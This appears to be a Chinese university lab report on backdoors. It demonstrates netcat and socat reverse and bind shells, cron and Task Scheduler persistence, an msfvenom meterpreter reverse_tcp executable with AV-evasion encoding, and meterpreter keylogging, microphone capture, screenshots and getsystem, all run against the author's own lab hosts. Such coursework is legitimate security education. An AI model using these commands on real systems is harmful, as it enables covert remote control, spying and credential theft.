2018-2019-2 网络对抗技术 20165304 Exp2 后门原理与实践
后门的基本概念及实验内容
常用后门工具
netcat
Win获得Linux Shell
Linux获得Win Shell
Meterpreter
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
后门的基本概念及基础问题回答
一、后门的概念
未认证、隐通道、专门应用
程序、投送、启动、隐藏
二、基础问题回答
问:例举你能想到的一个后门进入到你系统中的可能方式?
当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,并会自动安装木马,生成可执行文件,以此在系统留下后门。
或者在非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。
问:例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
问:Meterpreter有哪些给你映像深刻的功能?
在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。
问:如何发现自己有系统有没有被安装后门?
打开防火墙,查看有没有异常开放的端口;
安装杀毒软件,实时监控电脑,定时对系统进行检测;
查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。
netcat Windows获得Linux Shell
在Windows下使用ipconfig查看本机IP
使用ncat.exe程序打开监听ncat.exe -l -p 5304
在kali中反弹连接Windows,ncat 192.168.1.175 5304 -e /bin/sh,使用-e选项执行shell程序
Windows成功获得kali的shell
Linux获得Windows Shell
在kali中使用ifconfig查看IP
打开监听nc -l -p 5304
在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.1.114 5304
kali成功获得Windows的命令提示
使用nc传输数据
Windows下监听5304端口,ncat.exe -l 5304
kali反弹连接到Windows的5304端口,nc 192.168.1.175 5304
连接建立成功,双方可以相互传输数据
Meterpreter
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
在下面的任务三中我们就用到了Metaspolit的msfvenom指令
参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
在Windows系统下,监听5304端口
在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);
在最后一行添加59 * * * * /bin/netcat 192.168.1.175 5304 -e /bin/sh,意思是在每个小时的第59分钟反向连接Windows主机的5304端口,设置成26的原因是我当时的时间是16点59,为了能立马看到效果,所以我将时间设置成了59;
但时间到达59分钟时如下图所示
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
搜索打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名->新建一个触发器
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5304 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5304,同时把cmd.exe的stderr重定向到stdout上
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
此时,在Kali环境下输入指令socat - tcp:192.168.1.175:5304,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5304端口,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=5304 -f exe > 20165304_backdoor.exe,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165304_backdoor.exe”
在Windows下执行ncat.exe -l 5304 > 20165304_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5304 > 20165304_backdoor.exe指令,通过-lv选项看到当前的连接状态,下面这个图是文件传输成功的截图
在Linux中执行nc 192.168.1.175 5304 < 20165304_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP
在Kali上使用msfconsole指令进入msf控制台
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.208.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5318,同样要使用相同的端口
设置完成后,执行监听
运行Windows下的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
使用screenshot指令可以进行截屏,效果如下:
先使用getuid指令查看当前用户,使用getsystem指令进行提权
实验遇到的问题及解决方法
在win10中无法运行后门程序,后在win7的虚拟机中完成后半段实验。
2018-2019-2 网络对抗技术 20165304 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
随机推荐
- 解决MOFH免费空间cpanel面板大文件无法解压的情况
解决办法: 解压大文件,重新压缩为tar格式的压缩格式,这样可以更小,而且也可以在cpanel面板解压,记得使用filezilla软件上传文件,在cpanel的网页界面不要刷新,一刷新就不可以解压大文 ...
- Google - Find minimum number of coins that make a given value
Given a value V, if we want to make change for V cents, and we have infinite supply of each of C = { ...
- Python安装及IDE激活
简介: Windows10下安装激活Pycharm,并同时安装Python 3.x.2.x,便于在Pycharm开发环境中使用不同版本的解释器进行对比学习. 目录: 一.Python 3.x安装 二. ...
- PythonStudy——枚举 enumerate
# 给可迭代器对象及迭代器对象添加迭代索引 s = 'abc' for v in enumerate(s): print(v) # (0 'a') | (1 'b') | (2 'c')
- servlet_3
ServletContext 介绍 提供的功能 servlet中获取servletcontext实例 servletcontext接口的方法 package com.fgy; import java. ...
- docker nginx letsencrypt
https越来越流行了,但免费的证书一般是一年有效期.一般是够用了,但懒人都想一劳永逸, 有个免费证书颁发机构是letsencrypt.它是开源,并且完全免费的,它颁发的证书已经被几乎所有的浏览器所认 ...
- LOJ 3089 「BJOI2019」奥术神杖——AC自动机DP+0/1分数规划
题目:https://loj.ac/problem/3089 没想到把根号之类的求对数变成算数平均值.写了个只能得15分的暴力. #include<cstdio> #include< ...
- 搞懂iobuffer就得先学习bytebuffer
ByteBuffer前前后后看过好几次了,实际使用也用了一些,总觉得条理不够清晰. <程序员的思维修炼>一本书讲过,主动学习,要比单纯看资料效果来的好,所以干脆写个详细点的文章来记录一下. ...
- 小程序 iphone X 吸底按钮适配
问题图: 解决方法: // app.js App({ isIphoneX() { let isIphoneX = false wx.getSystemInfo({ su ...
- 第二节 Python基础之变量,运算符,if语句,while和for循环语句
我们在上一节中,我们发现当我们用字符串进行一些功能处理的时候,我们都是把整个字符串写下来的,比如"jasonhy".startwith("j"),如果我们在程序 ...